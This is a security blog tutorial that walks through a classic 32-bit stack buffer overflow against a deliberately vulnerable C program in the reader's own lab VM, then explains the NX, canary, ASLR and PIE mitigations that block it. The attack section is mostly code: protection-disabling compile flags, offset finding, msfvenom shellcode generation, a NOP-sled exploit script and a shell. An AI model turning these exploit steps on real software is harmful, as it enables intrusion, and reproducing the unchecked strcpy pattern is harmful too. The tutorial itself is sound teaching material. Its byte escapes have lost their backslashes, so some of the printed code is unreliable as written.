
Security
https://hmmnm.com/buffer-overflow-for-beginners-your-first-stack-smash-in-a-safe-lab/
TL;DR: A stack buffer overflow happens when a program copies more data into a fixed-size stack buffer than the buffer can hold, letting you overwrite the saved return address and redirect execution. In this tutorial you’ll exploit a deliberately vulnerable 32-bit Linux program in your own VirtualBox lab — crash it, find the exact offset, confirm EIP control, and land a shell using a NOP sled and shellcode — then look at the modern mitigations (ASLR, stack canaries, NX/DEP) that make this attack largely obsolete on modern systems.
Authorization note: everything in this article targets a virtual machine that you own, on your own hardware, running code you wrote yourself. Exploiting software on systems you do not own is a crime in most jurisdictions. Keep it in the lab.
Classic stack smashing stopped working by default around 2005–2010 thanks to NX, ASLR, and stack canaries. So why learn it? Because the mental model — memory layout, register control, offsets, bad characters — underpins every modern memory-corruption topic: ROP, heap exploitation, browser pwn, and vulnerability research. It’s also a certified-ethcial-hacker (CEH) exam topic, and it’s genuinely fun to get your first shell.
You’ll need:
sudo apt update
sudo apt install -y gdb git gcc-multilib
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
Disable ASLR in the guest for this exercise (we’ll re-enable the protections discussion later):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space # should print 0
Create vuln.c:
#include <string.h>
#include <stdio.h>
int main(int argc, char *argv[]) {
char buffer[64];
strcpy(buffer, argv[1]); // no bounds check!
printf("Received: %sn", buffer);
return 0;
}
Compile it with every modern protection disabled — this simulates software from the era when these bugs were everywhere:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
checksec --file=vuln
Expected output:
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x08048000)
Perfect — a 2005-style target. Make sure it runs:
./vuln "hello"
Received: hello
The buffer is 64 bytes, so let’s throw 200 bytes at it:
./vuln $(python3 -c "print('A' * 200)")
You should see:
Received: AAAA...AAAA
Segmentation fault (core dumped)
The crash happens because the strcpy wrote past the 64-byte buffer, over the saved frame pointer, and over the saved return address on the stack. When main tried to ret, it jumped to 0x41414141 (“AAAA”) — unmapped memory.
Confirm with GDB:
gdb ./vuln
(gdb) run $(python3 -c "print('A' * 200)")
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
EIP is literally 0x41414141. We control the instruction pointer — now we just need to know which bytes of our input land there.
Metasploit’s pattern tools solve this precisely. On Kali:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Output (truncated):
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3...
Feed that unique pattern to the program under GDB:
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
GDB crashes with:
0x39614138 in ?? () # "8Aa9" in ASCII
Now ask pattern_offset which bytes produced that value:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39614138
Output:
[*] Exact match at offset 76
Offset = 76. That means 76 bytes fill the buffer and padding, and bytes 77–80 overwrite the saved return address.
Replace bytes 77–80 with four recognizable bytes — xefxbexadxde (0xDEADBEEF when read little-endian):
./vuln $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*76 + b'xefxbexadxde' + b'C'*50)" 2>/dev/null)
Or verify cleanly in GDB (note: bash can’t pass NUL-free raw bytes via arguments easily; Python is simpler):
python3 -c "print('A'*76 + 'xefxbexadxde' + 'C'*50)" > payload.bin
gdb ./vuln
(gdb) run "$(cat payload.bin)"
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
EIP = 0xdeadbeef. Total control of execution. This is the money shot of your first exploit.
Before injecting shellcode, you must know which bytes break delivery. Our payload travels through argv, so:
x00 (NUL) terminates the argument string — bad.x20 (space) will split the argument if unquoted — bad in this delivery path.x0a (newline) and x0d (carriage return) are classic bad bytes over network or line-based input.The systematic method: send every byte x01 through xff in your payload, then dump the stack in GDB and see where the sequence gets truncated or mangled. With peda:
(gdb) run "$(python3 -c "print('A'*76 + 'xefxbexadxde' + ''.join(chr(i) for i in range(1,256)))")"
(gdb) x/300xb $esp
Find where your byte list continues cleanly and where it stops. Any byte that truncates the sequence goes on your bad-char list, and your shellcode encoder must avoid it (e.g., msfvenom -b 'x00x20'). For this lab, remember: x00 and x20 are bad.
Our plan:
/bin/sh (no NUL bytes).x90 (NOP) instructions — hundreds of them.Generate shellcode with msfvenom, excluding bad chars:
msfvenom -p linux/x86/exec CMD=/bin/sh -b 'x00x20' -f python
Example output:
buf = b""
buf += b"xdaxd7xbfx48x88x2ex79xd9x74x24xf4x5ax29"
buf += b"xc9xb1x0cx31x7ax17x03x7ax17x83xc4x35"
... (roughly 40-70 bytes)
The stack layout we’re building (76 bytes of filler + return address pointing into ~200 NOPs + shellcode):
[ 76 bytes 'A' ] [ EIP -> 0xbffff2xx ] [ 200 x x90 ] [ shellcode ]
Build the exploit with Python:
python3 - <<'EOF' > exploit.bin
import sys
shellcode = ( b"xdaxd7xbfx48x88x2ex79xd9x74x24xf4x5ax29"
b"xc9xb1x0cx31x7ax17x03x7ax17x83xc4x35" # replace with YOUR msfvenom output
)
nops = b"x90" * 200
sys.stdout.buffer.write(b"A"*76 + b"xf0xf1xffxbf" + nops + shellcode)
EOF
For the return address, you need a stack address near your NOP sled. In GDB with peda, run a test payload and inspect:
(gdb) run "$(cat exploit.bin)"
(gdb) x/40x $esp
Because ASLR is off, stack addresses are stable — but GDB’s environment shifts addresses slightly vs. running outside GDB. Two workarounds:
Once your return address lands inside the sled (adjust xbfxf0xf1xff to your observed address, little-endian), the payload outside GDB gives you a shell:
./vuln "$(cat exploit.bin)"
Received: ...
$ whoami
kali
$ id
uid=1000(kali) gid=1000(kali)
You popped a shell. From crash → EIP control → code execution in five steps. If the shell immediately exits, your shellcode likely contains a bad byte or your return address is just outside the sled — widen the NOPs to 400 and retry.
The exploit above only worked because we disabled every protection. Here’s what each one does and how it kills a specific step:
| Mitigation | How it works | Which step it breaks |
|---|---|---|
| NX / DEP | Marks the stack non-executable at the CPU page level | Makes the shellcode itself unrunnable — EIP control is useless for direct code injection |
| Stack canaries | GCC inserts a random value (-fstack-protector) before the return address and checks it on return |
Your 76-byte overwrite smashes the canary first; the process aborts before ret |
| ASLR | Randomizes stack, heap, and library base addresses on every run | Your hard-coded 0xbffff... return address points to random memory |
| PIE | The binary itself loads at a random address | You can’t hard-code gadget or function addresses from the binary either |
Modern attackers adapted rather than gave up: return-to-libc and ROP chains reuse existing executable code (defeating NX), info leaks defeat ASLR, and canary leaks or format-string bugs defeat canaries. But each technique requires significantly more sophistication than “overwrite EIP with shellcode.”
Compilers and OS defaults changed too:
-fstack-protector-strong is default in GCC since ~2016 and Ubuntu since 8.10.strncpy, snprintf) and memory-safe languages (Rust, Go) removed the bug class at the source.See it for yourself — re-enable protections and compile normally:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
gcc -m32 -o vuln_hardened vuln.c
./vuln_hardened $(python3 -c "print('A'*200)")
*** stack smashing detected ***: terminated
Aborted
The canary caught it instantly. Try your exploit against the hardened binary and watch EIP land somewhere random every run thanks to ASLR.
ROPgadget, stack alignment on x64, format string bugs.strcpy, strcat, sprintf, gets — in C/C++ code; prefer length-checked alternatives or memory-safe languages.-fstack-protector-strong, -D_FORTIFY_SOURCE=2, PIE (-pie -fPIE), and full RELRO. Verify with checksec in CI.randomize_va_space=2) and NX enforcement on all production hosts.